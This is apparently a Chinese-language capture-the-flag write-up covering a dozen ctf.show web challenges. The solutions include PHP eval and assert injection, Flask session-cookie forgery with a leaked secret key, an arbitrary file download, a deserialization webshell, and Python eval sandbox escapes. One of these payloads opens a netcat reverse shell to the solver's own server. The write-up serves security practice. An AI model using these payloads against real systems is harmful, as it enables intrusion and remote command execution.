#拼接字符串
我的眼里只有钱 1 2 3 4 5 <?php error_reporting(0); extract($_POST); eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_); highlight_file(__FILE__);?>
WP:
1 2 3 4 5 6 t="_=" for i in range (1 ,35 ): t+="_" +str (i)+"=" +"_" +str (i+1 )+"&" t+="_35" +'=' +"ls" print (t)
抽老婆 #session伪造 #任意文件下载 这里的下载存在任意下载漏洞,我们故意报错可知当前目录为/app 我们下载app.py 得到密钥 tanji_is_A_boy_Yooooooooooooooooooooo!和一个秘密路径,这时候我们就用jwt解密在修改值在加密回去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 # !/usr/bin/env python # -*-coding:utf-8 -*- """ # File : app.py # Time :2022/11/07 09:16 # Author :g4_simon # version :python 3.9.7 # Description:抽老婆,哇偶~ """ from flask import * import os import random from flag import flag #初始化全局变量 app = Flask(__name__) app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!' @app.route('/', methods=['GET']) def index(): return render_template('index.html') @app.route('/getwifi', methods=['GET']) def getwifi(): session['isadmin']=False wifi=random.choice(os.listdir('static/img')) session['current_wifi']=wifi return render_template('getwifi.html',wifi=wifi) @app.route('/download', methods=['GET']) def source(): filename=request.args.get('file') if 'flag' in filename: return jsonify({"msg":"你想干什么?"}) else: return send_file('static/img/'+filename,as_attachment=True) @app.route('/secret_path_U_never_know',methods=['GET']) def getflag(): if session['isadmin']: return jsonify({"msg":flag}) else: return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"}) if __name__ == '__main__': app.run(host='0.0.0.0',port=80,debug=True)
这里需要我们flask-session伪造,使用flask-session-cookie-manager来写
1 python flask_session_cookie_manager3.py encode -s "tanji_is_A_boy_Yooooooooooooooooooooo!" -t "{'current_wifi': '79315f6d857095bf8e8cbdb6ec045830.jpg', 'isadmin': True}"
一言既出 #PHPweb/php特性/intval
1 2 3 4 5 6 7 8 <?php highlight_file(__FILE__); include "flag.php"; if (isset($_GET['num'])){ if ($_GET['num'] == 114514){ assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!"); echo $flag; } }
$num=114514+1805296$num=114514// 第一种解法intval会截断+后面的东西,只截取114514, 在 PHP 的早期版本中,assert() 函数的第一个参数如果是一个字符串 ,PHP 会将其内容作为 PHP 代码 执行一遍 第二种相当于截断,低版本PHP会尝试闭合语句
驷马难追 和一言既出一样,但是第二种方法被过滤
TapTapTap 在js代码找到一个gameEngine.levelPassed();函数,使用它 多试几下获得一个路径/secret_path_you_do_not_know/secretfile.txt,访问他获得flag
Webshell 又是反序列化
1 2 3 4 5 6 7 8 9 10 <?php class Webshell{ public $cmd="ls"; } echo serialize(new Webshell()); 命令替换一下即可
化零为整 大牛转换成url编码,一个一个传参?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B
无一幸免_FIXED 这道题有点问题,怎么搞都会出现flag,其实这道题考察整数溢出问题
1 2 3 ?0=214748364 //使用数组整型溢出绕过赋值式“永真” ?0[]=1 //数组绕过
9223372036854775807 2^63-1
传送之下(雾) 改一下js代码里的score就行,flag在控制台
算力超群 #沙箱逃逸 用findsomething工具找到一个路径/_calculate 试着让除零,学过Java都知道除零会抛出ZeroDivisionError eval!!!,我们来构造payload,但是这里必须存在操作符,而且还会二次转换,我这里是VPS监听,/_calculate?number1=1&operator=-&number2=1,__import__ ('os').system(' nc ip 端口 -e /bin/sh')
算力升级 这里多了几个过滤,还变成了post,只能用某个库的函数gmpy2,但是这个库存在eval函数gmpy2.__builtins__['eval']("__import__('os').popen('tac /flag').read()")
EAZY_PYTHON 这个有源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 源码在此: from flask import request cmd: str = request.form.get('cmd') param: str = request.form.get('param') # ------------------------------------- Don't modify ↑ them ↑! But you can write your code ↓ import subprocess, os if cmd is not None and param is not None: try: tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5) print('Done!') except subprocess.TimeoutExpired: print('Timeout!') except: print('Error!') else: print('No Flag!') 如果环境出现故障,请访问 [这里](https://70de385f-a9a0-485c-8fa2-2a69eeecc72d.challenge.ctf.show/recover) 尝试恢复。 大菜鸡敬上!
cmd=ls¶m=.
然后cat flag.txt